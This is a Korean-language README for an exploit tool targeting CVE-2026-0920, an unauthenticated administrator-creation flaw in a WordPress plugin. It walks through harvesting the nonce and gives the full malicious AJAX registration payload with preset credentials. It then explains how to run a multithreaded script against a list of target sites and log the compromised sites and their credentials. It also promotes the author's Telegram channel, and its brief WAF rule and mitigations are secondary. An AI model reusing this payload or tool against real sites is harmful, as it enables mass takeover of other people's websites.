
Elementor용 LA-Studio Element Kit <= 1.5.6.3 - lakit_bkrole 매개변수를 통한 백도어 기반 관리자 사용자 생성으로 이어지는 인증되지 않은 권한 상승
LA-Studio Element Kit for Elementor <= 1.5.6.3 - lakit_bkrole 매개변수를 통한 백도어 기반 인증되지 않은 권한 상승 및 관리자 사용자 생성
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 이 익스플로잇은 여기서 가장 먼저 공개됩니다. @KNxploited를 Telegram에서 팔로우하세요 — 새로 공개된 CVE, 작동하는 PoC, 정밀한 보안 연구를 위한 엘리트 피드입니다. 끊임없이 업데이트됩니다. 앞서 나가는 사람들을 위해 제작되었습니다.
CVE-2026-0920은 LA-Studio Element Kit for Elementor WordPress 플러그인에서 발견된 CVSS 9.8 Critical(치명적) 취약점입니다.
이 결함은 AJAX를 통해 인증되지 않은 사용자 등록을 처리하는 ajax_register_handle() 함수에 존재합니다. 이 함수는 lakit_bkrole 매개변수에 대해 어떠한 제한도 적용하지 않아 — 완전히 인증되지 않은 공격자가 등록 중에 administrator 역할을 스스로 할당할 수 있으며, 단 한 번의 요청으로 WordPress 관리자 계정 전체를 장악할 수 있습니다.
근본 원인은 플러그인의 AJAX 등록 핸들러에 역할 권한 검사가 누락된 것입니다:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
왜 치명적인가:
wp_ajax_nopriv_* = 인증 없이 누구나 접근 가능lakit_bkrole은 administrator를 포함한 모든 WordPress 역할 문자열을 허용합니다Step 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| 의존성 | 용도 |
|---|---|
requests | HTTP 요청, 세션 처리, 쿠키 관리 |
colorama | 모든 플랫폼에서 색상 터미널 출력 |
threading | 동시 다중 대상 처리 |
Python 3.10+ 권장 (
str | None유니언 타입 힌트 사용).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
CVE-2026-0920.py를 열고 상단의 상수를 편집하여 원하는 관리자 계정 정보를 설정하세요:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
list.txt에 줄마다 대상 URL 하나씩 작성하세요:
https://target1.com
https://target2.com
http://target3.com
스킴이 없는 URL에는 자동으로
https://가 붙습니다.
python CVE-2026-0920.py
다음과 같은 프롬프트가 표시됩니다:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
이 스크립트는 실시간 색상 구분 터미널 출력을 생성합니다:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| 색상 | 의미 |
|---|---|
🔵 Cyan [*] |
성공한 익스플로잇은 success_results.txt에 기록됩니다:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
각 줄에는 대상, 자격 증명, 로그인 상태, AJAX 응답 상태 및 사용된 nonce 등 전체 정보가 포함됩니다.
이 스크립트는 오탐(false positive)을 제거하기 위해 2단계 검증을 수행합니다:
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
이로써 AJAX에서 200 OK를 반환하지만 등록은 조용히 실패하는 사이트로 인한 오탐이 제거됩니다.
이 익스플로잇은 다음과 같은 특정 네트워크 패턴을 생성합니다 — 방어자와 WAF 제작자를 위한 정보입니다:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
WAF / IDS 규칙 (의사 코드):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
사이트 소유자, 개발자 또는 방어자라면 즉시 조치하세요:
lakit_bkrole을 포함한 admin-ajax.php로의 인증되지 않은 POST 요청 차단lakit_ajax AJAX 액션 호출에 대한 서버 및 WordPress 활동 로그 모니터링THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| 핸들 | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Telegram에서 @KNxploited를 팔로우하세요 새로운 CVE. 작동하는 익스플로잇. 심층 취약점 연구. 가장 먼저 알기. 가장 먼저 행동하기. 뒤처지지 마세요.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-0920 |
| 플러그인 | LA-Studio Element Kit for Elementor |
| 슬러그 | lakit / la-studio-element-kit-for-elementor |
| 영향받는 버전 | 1.5.6.3까지의 모든 버전 |
| 취약점 유형 | 인증되지 않은 권한 상승 / 관리자 계정 생성 |
| 공격 벡터 | 네트워크 — 인증 불필요 |
| CVSS 3.1 점수 | 9.8 CRITICAL |
| CVSS 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 영향 | WordPress 관리자 계정 전체 장악 |
| 연구자 | Nxploited |
re | HTML/JS에서 정규식 기반 nonce 추출 |
| 정보 — 진행 중인 단계 |
🟢 Green [+] | 긍정 신호 — 부분적 또는 완전한 성공 |
🟡 Yellow [!] | 경고 — 결과가 모호하여 검토 필요 |
🔴 Red [-] | 실패 — 대상이 악용 불가능하거나 오류 발생 |
| 매개변수 | 기본값 | 설명 |
|---|
| 대상 파일 | list.txt | 대상 URL이 포함된 파일 |
| 스레드 | 10 (최대: 50) | 동시 작업자 수 |
ADMIN_EMAIL | [email protected] | 주입된 관리자 계정의 이메일 |
ADMIN_PASSWORD | adminSA | 주입된 관리자 계정의 비밀번호 |
ADMIN_USERNAME | Nx_admin | 주입된 관리자 계정의 사용자 이름 |